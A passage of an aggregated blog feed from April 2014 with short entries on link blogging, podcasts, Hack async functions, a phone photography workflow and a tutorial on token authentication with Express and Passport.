Great&amp;#160;&amp;#8212;&amp;#160;but personally, I&amp;#8217;m more of a pen and paper kind of guy; for the foreseeable future, at least, analog will maintain its stranglehold on my classroom experience.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.thenewsprint.co/blog/-analogs-stranglehold-of-the-classroom"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 22 Apr 2014 18:42:51 GMT</pubDate><guid isPermaLink="true">http://www.thenewsprint.co/blog/-analogs-stranglehold-of-the-classroom</guid></item><item><title>Constellation</title><link>https://zacs.site/blog/constellation.html</link><description>&lt;p&gt;On April 21st, 2014, a tremor shook the podcasting world. Not a large one, but like an avalanche feeding on itself and growing ever-larger, this quake&amp;#8217;s onset marked the beginning of a significant change. Or at least, that&amp;#8217;s how I think we will look back on the otherwise unremarkable Monday afternoon Ben Alexander, Jamie Ryan, Lorenzo Guddemi, and Sid O&amp;#8217;Neill launched &lt;a href="http://constellation.fm"&gt;Constellation&lt;/a&gt;.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/constellation.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 22 Apr 2014 17:53:08 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/constellation.html</guid></item><item><title>The Hard Stuff Often Matters Most</title><link>http://zenhabits.net/iron/</link><description>&lt;p&gt;Great article and accompanying advice from Leo Babauta on choosing the hard tasks rather than sticking with the easy ones, and how this approach to every aspect of life&amp;#160;&amp;#8212;&amp;#160;while inarguably more difficult&amp;#160;&amp;#8212;&amp;#160;will inevitably lend itself to greater results than the alternative. &amp;#8220;Easier said than done&amp;#8221;, one might say, but that&amp;#8217;s exactly the point.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://zenhabits.net/iron/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 22 Apr 2014 14:44:52 GMT</pubDate><guid isPermaLink="true">http://zenhabits.net/iron/</guid></item><item><title>Railways and WhatsApp</title><link>http://ben-evans.com/benedictevans/2014/4/6/railways-and-whatsapp</link><description>&lt;p&gt;I know I speak for many when I say that some disruption among the service providers of the mobile phone industry would be very interesting indeed. Unfortunately, as Benedict Evans explains here, this will prove quite the monumental task. Not impossible, but perhaps at the very least prohibitively difficult.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://ben-evans.com/benedictevans/2014/4/6/railways-and-whatsapp"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 22 Apr 2014 11:30:26 GMT</pubDate><guid isPermaLink="true">http://ben-evans.com/benedictevans/2014/4/6/railways-and-whatsapp</guid></item><item><title>CSS 3D Solar System</title><link>http://codepen.io/juliangarnier/full/idhuG</link><description>&lt;p&gt;This is absolutely incredible. Using only JavaScript to manage the toggles, &lt;a href="https://twitter.com/JulianGarnier"&gt;Julian Garnier&lt;/a&gt; made this fantastic interactive solar system powered by nothing more than CSS and some HTML structure code. Even cooler, it&amp;#8217;s not just a pretty animation: it has a lot of interesting information to show as well. Awesome.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://codepen.io/juliangarnier/full/idhuG"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 22 Apr 2014 11:01:45 GMT</pubDate><guid isPermaLink="true">http://codepen.io/juliangarnier/full/idhuG</guid></item><item><title>Refactoring for Testability: A Real World Example in Python/Django</title><link>http://blog.untrod.com/2014/04/refactoring-for-testability-quick.html</link><description>&lt;p&gt;At &lt;a href="https://www.epanty.com/"&gt;ePantry&lt;/a&gt;, we strive to have enough automated
test coverage that we can deploy with confidence, without being dogmatic
about our approach. We certainly aren't a TDD shop, and we don't have
rules about code coverage metrics ("no commit can reduce code
coverage!"), but it's very unusual that a non-cosmetic …&lt;/p&gt;</description><author>Untrod</author><pubDate>Tue, 22 Apr 2014 08:25:00 GMT</pubDate><guid isPermaLink="true">http://blog.untrod.com/2014/04/refactoring-for-testability-quick.html</guid></item><item><title>Asynchronous Functions In Hack</title><link>https://kernelcurry.com/blog/asynchronous-hack/</link><description>&lt;p&gt;The ability for PHP programs to execute asynchronous functions… Yeah, I said it and now it exists. By coding in Facebook’s new Hack Language, using your CPU’s cycles correctly has never been so easy. Let’s delve into this new language head first!&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div&gt;
&lt;table style="border-spacing: 0; padding: 0; margin: 0; border: 0;"&gt;&lt;tr&gt;&lt;td style="vertical-align: top; padding: 0; margin: 0; border: 0;"&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&lt;span&gt; 1
&lt;/span&gt;&lt;span&gt; 2
&lt;/span&gt;&lt;span&gt; 3
&lt;/span&gt;&lt;span&gt; 4
&lt;/span&gt;&lt;span&gt; 5
&lt;/span&gt;&lt;span&gt; 6
&lt;/span&gt;&lt;span&gt; 7
&lt;/span&gt;&lt;span&gt; 8
&lt;/span&gt;&lt;span&gt; 9
&lt;/span&gt;&lt;span&gt;10
&lt;/span&gt;&lt;span&gt;11
&lt;/span&gt;&lt;span&gt;12
&lt;/span&gt;&lt;span&gt;13
&lt;/span&gt;&lt;span&gt;14
&lt;/span&gt;&lt;span&gt;15
&lt;/span&gt;&lt;span&gt;16
&lt;/span&gt;&lt;span&gt;17
&lt;/span&gt;&lt;span&gt;18
&lt;/span&gt;&lt;span&gt;19
&lt;/span&gt;&lt;span&gt;20
&lt;/span&gt;&lt;span&gt;21
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td&gt;
&lt;pre tabindex="0"&gt;&lt;code class="language-php"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #e6db74;"&gt;/**
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #e6db74;"&gt;* This function calls async functions
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #e6db74;"&gt;*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #66d9ef;"&gt;function&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;main&lt;/span&gt;() &lt;span style="color: #f92672;"&gt;:&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;void&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt; &lt;span style="color: #66d9ef;"&gt;echo&lt;/span&gt; &lt;span style="color: #e6db74;"&gt;'[main] Calling Async Function'&lt;/span&gt;&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;"&lt;/span&gt;&lt;span style="color: #ae81ff;"&gt;\n&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;"&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt; $asyncCall &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;getInfo&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt; &lt;span style="color: #66d9ef;"&gt;echo&lt;/span&gt; &lt;span style="color: #e6db74;"&gt;'[main] Triangulating Atlantis'&lt;/span&gt;&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;"&lt;/span&gt;&lt;span style="color: #ae81ff;"&gt;\n&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;"&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt; &lt;span style="color: #66d9ef;"&gt;echo&lt;/span&gt; &lt;span style="color: #e6db74;"&gt;'[main] Calculating the Meaning Of Life'&lt;/span&gt;&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;"&lt;/span&gt;&lt;span style="color: #ae81ff;"&gt;\n&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;"&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt; &lt;span style="color: #66d9ef;"&gt;echo&lt;/span&gt; &lt;span style="color: #e6db74;"&gt;'[main] Triangulating Atlantis'&lt;/span&gt;&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;"&lt;/span&gt;&lt;span style="color: #ae81ff;"&gt;\n&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;"&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt; &lt;span style="color: #66d9ef;"&gt;echo&lt;/span&gt; &lt;span style="color: #e6db74;"&gt;'[main] Time To Request Async Return Information'&lt;/span&gt;&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;"&lt;/span&gt;&lt;span style="color: #ae81ff;"&gt;\n&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;"&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt; $output &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; $asyncCall&lt;span style="color: #f92672;"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: #a6e22e;"&gt;join&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt; &lt;span style="color: #75715e;"&gt;// Output Vector Data
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;&lt;/span&gt; &lt;span style="color: #66d9ef;"&gt;foreach&lt;/span&gt; ($output &lt;span style="color: #66d9ef;"&gt;as&lt;/span&gt; $key &lt;span style="color: #f92672;"&gt;=&amp;gt;&lt;/span&gt; $value)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt; &lt;span style="color: #66d9ef;"&gt;echo&lt;/span&gt; &lt;span style="color: #e6db74;"&gt;'['&lt;/span&gt;&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;$key&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;'] =&amp;gt; '&lt;/span&gt;&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;$value&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;"&lt;/span&gt;&lt;span style="color: #ae81ff;"&gt;\n&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;"&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;As can be see, this function is no different than any normal PHP function. The only thing you have to notice is the function &lt;code&gt;join()&lt;/code&gt; called on line 14. This function calls the data from the asynchronous function initialized on line 7.&lt;/p&gt;</description><author>KernelCurry</author><pubDate>Tue, 22 Apr 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://kernelcurry.com/blog/asynchronous-hack/</guid></item><item><title>Day Zero</title><link>https://phacks.dev/articles/day-zero</link><description>This post is about explaining what we have already done, our first decisions about the upcoming development and sketching an approximative timeline of the project.</description><author>Nicolas Goutay</author><pubDate>Tue, 22 Apr 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://phacks.dev/articles/day-zero</guid></item><item><title>In Defense of the Link Blog</title><link>https://zacs.site/blog/in-defense-of-the-link-blog.html</link><description>&lt;p&gt;Earlier this month I published &lt;a href="https://zacs.site/blog/owning-their-words.html"&gt;Owning Their Words&lt;/a&gt;, an article I named for and wrote in response to Matt Gemmell&amp;#8217;s then-recent essay titled &lt;a href="http://mattgemmell.com/own-your-words/"&gt;Own your words&lt;/a&gt;. In that piece, Matt explained the reasons he continues to write and publish on his own website rather than using a more streamlined venue such as Medium or another, similar service potentially more conducive to greater traffic that his own setup. Doing my best not to spoil his conclusion, that motivation came down to owning every aspect of his words, from the creation process to the manner in which the browser rendered them for his readers. This had a particularly profound impact on me in bringing my long-standing discomfort with the traditional link blog format&amp;#160;&amp;#8212;&amp;#160;whereby its adherents scour the work of other authors, extract the pertinent lines as a pull-quote, and post it on their own site&amp;#160;&amp;#8212;&amp;#160;to a head; by the time I finished Matt&amp;#8217;s article, I had resolved to abandon the format entirely.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/in-defense-of-the-link-blog.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 21 Apr 2014 21:52:41 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/in-defense-of-the-link-blog.html</guid></item><item><title>Why the Web Still Matters for Writing</title><link>http://ma.tt/2014/04/the-web-matters/</link><description>&lt;p&gt;Great counter-point to &lt;a href="https://zacs.site/blog/the-decline-of-the-mobile-web.html"&gt;The decline of the mobile web&lt;/a&gt; by Ben Thompson, guest posting on Matthew Mullenweg&amp;#8217;s site about the value of the web in a world dominated by apps. An infinite number of apps could be made for infinite number of use cases, but they will still only be designed for those specific use cases; beyond those, there must be something more flexible, able to handle every other possible need. That something is the web.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://ma.tt/2014/04/the-web-matters/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 21 Apr 2014 15:33:43 GMT</pubDate><guid isPermaLink="true">http://ma.tt/2014/04/the-web-matters/</guid></item><item><title>Find All Directories That Have Been Deleted In Git</title><link>https://joshuarogers.net/articles/2014-04/find-all-directories-have-been-deleted-git/</link><description>Had an interesting question posed to me the other day from David Ruttka: Did I have a favorite way to list all of the directories that have been deleted from a folder in git? Admittedly, this took a bit of thought. No arcane git command came to mind. Nothing did. Google wasn't that much help either. Not only did I not have a favorite way, I didn't have a way at all!</description><author>Joshua Rogers</author><pubDate>Mon, 21 Apr 2014 15:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/articles/2014-04/find-all-directories-have-been-deleted-git/</guid></item><item><title>The decline of the mobile web</title><link>http://cdixon.org/2014/04/07/the-decline-of-the-mobile-web/</link><description>&lt;p&gt;In preparing to read this article, rather than read it on Chris Dixon&amp;#8217;s website, I first tried in Instapaper. Instapaper failed to accurately parse the article though, so I then created an account at Pocket where I ultimately read and finished the piece before writing about it in Drafts and posting the end result from my computer. Now, as I have explained &lt;a href="https://zacs.site/blog/owning-their-words.html"&gt;in the past&lt;/a&gt;, this is not usual: for the most part, I prefer to read articles in their intended environment. Ideological values only last so long though, and if that&amp;#8217;s not a damning case for the future of apps over the web, I don&amp;#8217;t know what is.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://cdixon.org/2014/04/07/the-decline-of-the-mobile-web/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 21 Apr 2014 13:02:40 GMT</pubDate><guid isPermaLink="true">http://cdixon.org/2014/04/07/the-decline-of-the-mobile-web/</guid></item><item><title>This Week in Podcasts</title><link>https://zacs.site/blog/this-week-in-podcasts-41414.html</link><description>&lt;p&gt;Driving home from a weekend with the family? Boy, have I got just what you need to spice up a few hours of monotonous turns and straightaways: the following list contains all the best podcasts I have had the privilege of listening to within the past week. Whether you&amp;#8217;re out on the open road or simply looking for the diamonds in the rough, look no further than this week&amp;#8217;s installment of my ongoing series, This Week in Podcasts.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/this-week-in-podcasts-41414.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 21 Apr 2014 12:10:54 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/this-week-in-podcasts-41414.html</guid></item><item><title>About Shawt!</title><link>https://phacks.dev/articles/about-shawt</link><description>Shawt! is a social, location-aware chat application. It gives you insights about what you want to know based on where you are.</description><author>Nicolas Goutay</author><pubDate>Mon, 21 Apr 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://phacks.dev/articles/about-shawt</guid></item><item><title>Every Day Camera</title><link>http://evantravers.com/articles/2014/04/21/every-day-camera/</link><description>&lt;p&gt;&lt;img alt="" src="https://images.evantravers.com/articles/2014/04/flower.jpg" /&gt;&lt;/p&gt;&lt;blockquote&gt;
&lt;p&gt;The best camera is the one you have with you.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Chase Jarvis&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;I've always enjoyed photography. I don't know exactly what started my life-long
love of picture making, but it's been a part of me for nearly 10-12 years now.
I can still remember that day I got my first Kodak camera… one of those
vacation type cameras that was a &lt;a href="http://www.amazon.com/Kodak-Star-Camera-Uses-Film/dp/B000050ZE6"&gt;long brick of a
thing&lt;/a&gt;. After
poring over some book my grandmother bought with it, I ran outside and promptly
wasted a whole roll of film stalking birds at a bird feeder. They came out
blurry and dark, not a thing to be seen. Despite the initial setback I never
gave up. Four cameras, five computers, three hard drives, six editing software
suites and literally tens of thousands of shutter activations later I am still
as hooked as that first magical moment when I reached out and stopped time,
stole a fragment of light and smeared it on paper to share with others.&lt;/p&gt;
&lt;p&gt;One of the most formational things in my photographic life was the year I
accidentally started a 365 project on
&lt;a href="https://www.flickr.com/photos/evantravers/3933632665"&gt;flickr&lt;/a&gt;. I studied
thousands of pictures in my flickr timeline, and I tried to get out and shoot
&lt;em&gt;every&lt;/em&gt; day. It was a huge influence on me… both in terms of the amazing
feedback and encouragement I received from others and also simply because I put
in so many hours of practice, both in shooting and editing.&lt;/p&gt;
&lt;p&gt;And so I've set out to do a similarly purposeful journey this year. My goal for
this particular sprint towards excellence is to strengthen my photographic
weakness: I am typically fairly introverted and shy, so I either don't take
pictures of people or I do take them candidly using a long telephoto lens,
instead of approaching close enough to interact, be rejected, or make a friend.
I've realized it's time to get personal. Shoot often, shoot everything.&lt;/p&gt;
&lt;h1&gt;&lt;a class="anchor" href="#the-camera" id="the-camera"&gt;&lt;/a&gt;The Camera&lt;/h1&gt;
&lt;p&gt;&lt;img alt="x100s" src="https://images.evantravers.com/articles/2014/04/x100s.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;The camera is a Fujifilm X100S. I fell in love with its looks, and stayed for
the clear, bright lens and incredible sensor. There's already a &lt;em&gt;ton&lt;/em&gt; of
information on the web about this camera, if you would like to know more I
recommend &lt;a href="http://zackarias.com/for-photographers/gear-gadgets/fuji-x100s-review-a-camera-walks-into-a-bar/"&gt;Zack Arias&lt;/a&gt;
and &lt;a href="http://strobist.blogspot.com/2013/12/fuji-follow-up.html"&gt;David Hobby&lt;/a&gt;'s
glowing reviews. I wanted a small-ish, fast camera that I could have with me at
all times, to encourage shooting everywhere. My final verdict was between the
Ricoh GR series and the Fuji X100 series, and the Fuji won mostly on style
points.&lt;/p&gt;
&lt;h1&gt;&lt;a class="anchor" href="#the-phone" id="the-phone"&gt;&lt;/a&gt;The Phone&lt;/h1&gt;
&lt;p&gt;I have an iPhone 5. Nothing really special about it, it's pretty badly beat up.
It doesn't even take video anymore.  I'm fairly certain this process will
work for you no matter which phone you use. The key is to have a tiny computer
to edit and post for you.&lt;/p&gt;
&lt;h2&gt;&lt;a class="anchor" href="#eye-fi-transfer" id="eye-fi-transfer"&gt;&lt;/a&gt;Eye-fi Transfer&lt;/h2&gt;
&lt;p&gt;The key to making this workflow work is the Eye-fi card. It's a little SD card
that will fit in nearly any camera and will sync photos automatically to an app
on your phone. It's not perfect by any stretch, but it works pretty darn well.
The weak point is that the SD card actually generates a wifi signal, so if you
are on your home network the stronger signal generated by your wireless router
tends to take precedence and you will have to manually connect to your Eye-fi.
In the field, walking down the street, at a restaurant... it works great.
Fortunately, that's what I bought the Eye-fi for, so I have no complaints.&lt;/p&gt;
&lt;p&gt;The X100S has an actual menu setting to turn the wireless on and off, so I can
conserve it's already rather meagre battery. You'll have to check your camera
on Eye-fi's website to see what ability you have to control that kind of thing.&lt;/p&gt;
&lt;h2&gt;&lt;a class="anchor" href="#the-editing-stack" id="the-editing-stack"&gt;&lt;/a&gt;The Editing Stack&lt;/h2&gt;
&lt;p&gt;The Eye-fi application just dumps the image to the Camera Roll (or android
equivalent.) From there I run through a few editing programs, depending on what
I want.&lt;/p&gt;
&lt;p&gt;It's worth noting that &lt;em&gt;every&lt;/em&gt; time I send an image between apps, I export to
the Camera Roll. Many of the apps support sending between each other, but at
least on iOS there's a noticeable image quality degradation every time you
directly export rather than going through the Camera Roll. It's annoying, and
leaves a lot of images to clean up later, but it's worth it in the end.&lt;/p&gt;
&lt;h3&gt;&lt;a class="anchor" href="#vsco" id="vsco"&gt;&lt;/a&gt;VSCO&lt;/h3&gt;
&lt;p&gt;&lt;img alt="Nickel Creek" src="https://images.evantravers.com/articles/2014/04/nickelcreek.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;The main app I've been playing with at the moment for editing is VSCOcam. It's
free on the app store, with paid for downloadable filters. I don't really care
for some of them... they tend to wash out and take all the contrast out of your
image, but it has excellent tools for adjusting your image including a very
good clarity/sharpness tool that looks really good. I've bought a couple packs
of &amp;quot;film&amp;quot; from them, and I usually preset. More often than not, I love the
image coming out of my X100S just like it is and all I'm doing is cropping and
boosting the sharpness.&lt;/p&gt;
&lt;p&gt;My one complaint with VSCOcam is that it downsizes the images coming out of my
X100S. I guess it's for speed of switching filters and what not, but it's kind
of sad and I wish I could take the burden of a slower experience just for
quality's sake.&lt;/p&gt;
&lt;h3&gt;&lt;a class="anchor" href="#afterlight" id="afterlight"&gt;&lt;/a&gt;Afterlight&lt;/h3&gt;
&lt;p&gt;Afterlight is a weird little one... it has excellent editing tools just like
VSCO, and doesn't downsize the full image. I don't really use it's full
potential, but I do really like to use its light leak tool to emulate old
tired film cameras. It can add a very nice splash of color or texture to an
otherwise low-energy composition.&lt;/p&gt;
&lt;h3&gt;&lt;a class="anchor" href="#squareready" id="squareready"&gt;&lt;/a&gt;Squareready&lt;/h3&gt;
&lt;p&gt;There are probably lots of little apps to do this... I just like to occasionally
preserve the 2:3 ratio of my compositions. Squareready adds little white bars
to the sides of the image to bring it to a square, so that instagram will
accept it.&lt;/p&gt;
&lt;h2&gt;&lt;a class="anchor" href="#final-thoughts" id="final-thoughts"&gt;&lt;/a&gt;Final thoughts&lt;/h2&gt;
&lt;p&gt;I've only been running this little system for about a month or so... but it's
been an absolute joy. With the exception of a couple really busy days, I've
had the opportunity to shoot nearly every day for weeks, and I while I don't
see the progress I want, I see where I am failing, and I'm working on it. I'm
shooting portraits, street, being a little more bold and a little more creative
with my time.&lt;/p&gt;
&lt;p&gt;I hope that this inspires you to shoot more, even if it's just on your phone.
There are &lt;em&gt;phenomenal&lt;/em&gt; photographers who shoot with only their phone... it's an
interesting exercise in itself. Get out there and make some pictures!&lt;/p&gt;</description><author>trv.rs</author><pubDate>Mon, 21 Apr 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">http://evantravers.com/articles/2014/04/21/every-day-camera/</guid></item><item><title>Token based, sessionless auth using express and passport</title><link>https://jeroenpelgrims.com/token-based-sessionless-auth-using-express-and-passport/</link><description>&lt;h2 id="problem-at-hand"&gt;Problem at hand&lt;a class="zola-anchor" href="https://jeroenpelgrims.com/token-based-sessionless-auth-using-express-and-passport/#problem-at-hand" title="Click here to get a direct link to this section in your browser's address bar."&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;What I wanted to make was a webservice with which I could authenticate through facebook initially and using a token in subsequent requests. I found a bunch of clear information about each individual part but not how to integrate everything, hence this post.&lt;br /&gt;
A working example containing all the code can be found on &lt;a href="https://github.com/jeroenpelgrims/sessionless-token-auth-with-express/tree/master"&gt;Github&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I'll be using:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;express&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;mongoose&lt;/strong&gt;: for storing the users, could just have used an array for the example, but this made it a bit more complete.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;passport&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;passport-facebook&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;passport-http-bearer&lt;/strong&gt;: token based authentication for express&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="facebook-auth"&gt;Facebook auth&lt;a class="zola-anchor" href="https://jeroenpelgrims.com/token-based-sessionless-auth-using-express-and-passport/#facebook-auth" title="Click here to get a direct link to this section in your browser's address bar."&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href="http://passportjs.org"&gt;Passport&lt;/a&gt; made this incredibly easy with their facebook strategy.
This sample code shows that the token returned by Facebook is stored on the user connected to the id of the facebook profile that's returned.
For the source of what &lt;code&gt;User.findOrCreate&lt;/code&gt; does you can look at &lt;a href="https://github.com/jeroenpelgrims/sessionless-token-auth-with-express/blob/master/app.js#L21"&gt;the repo&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This strategy could be replaced by implementing your &lt;a href="http://passportjs.org/guide/oauth/"&gt;own OAuth strategy using passport&lt;/a&gt;.&lt;/p&gt;
&lt;pre class="language-javascript " style="background-color: #ffffff; color: #323232;"&gt;&lt;code class="language-javascript"&gt;&lt;span&gt;options &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;= &lt;/span&gt;&lt;span&gt;{
&lt;/span&gt;&lt;span&gt;  clientID: process.env.&lt;/span&gt;&lt;span style="color: #0086b3;"&gt;FACEBOOK_APP_ID&lt;/span&gt;&lt;span&gt;,
&lt;/span&gt;&lt;span&gt;  clientSecret: process.env.&lt;/span&gt;&lt;span style="color: #0086b3;"&gt;FACEBOOK_APP_SECRET&lt;/span&gt;&lt;span&gt;,
&lt;/span&gt;&lt;span&gt;  callbackURL: &lt;/span&gt;&lt;span style="color: #183691;"&gt;&amp;quot;http://localhost:3000/auth/facebook/callback&amp;quot;&lt;/span&gt;&lt;span&gt;,
&lt;/span&gt;&lt;span&gt;};
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;passport.&lt;/span&gt;&lt;span style="font-weight: bold; color: #795da3;"&gt;use&lt;/span&gt;&lt;span&gt;(
&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;new &lt;/span&gt;&lt;span&gt;FacebookStrategy(options, &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;function &lt;/span&gt;&lt;span&gt;(
&lt;/span&gt;&lt;span&gt;    accessToken,
&lt;/span&gt;&lt;span&gt;    refreshToken,
&lt;/span&gt;&lt;span&gt;    profile,
&lt;/span&gt;&lt;span&gt;    done
&lt;/span&gt;&lt;span&gt;  ) {
&lt;/span&gt;&lt;span&gt;    User.&lt;/span&gt;&lt;span style="font-weight: bold; color: #795da3;"&gt;findOrCreate&lt;/span&gt;&lt;span&gt;({ facebookId: profile.id }, &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;function &lt;/span&gt;&lt;span&gt;(err, result) {
&lt;/span&gt;&lt;span&gt;      &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;if &lt;/span&gt;&lt;span&gt;(result) {
&lt;/span&gt;&lt;span&gt;        result.access_token &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;= &lt;/span&gt;&lt;span&gt;accessToken;
&lt;/span&gt;&lt;span&gt;        result.&lt;/span&gt;&lt;span style="font-weight: bold; color: #795da3;"&gt;save&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;function &lt;/span&gt;&lt;span&gt;(err, doc) {
&lt;/span&gt;&lt;span&gt;          &lt;/span&gt;&lt;span style="font-weight: bold; color: #795da3;"&gt;done&lt;/span&gt;&lt;span&gt;(err, doc);
&lt;/span&gt;&lt;span&gt;        });
&lt;/span&gt;&lt;span&gt;      } &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;else &lt;/span&gt;&lt;span&gt;{
&lt;/span&gt;&lt;span&gt;        &lt;/span&gt;&lt;span style="font-weight: bold; color: #795da3;"&gt;done&lt;/span&gt;&lt;span&gt;(err, result);
&lt;/span&gt;&lt;span&gt;      }
&lt;/span&gt;&lt;span&gt;    });
&lt;/span&gt;&lt;span&gt;  })
&lt;/span&gt;&lt;span&gt;);
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Halfway through writing this I regretted not just writing it in CoffeeScript, which was the case for my original code. Because }})}}));&lt;br /&gt;
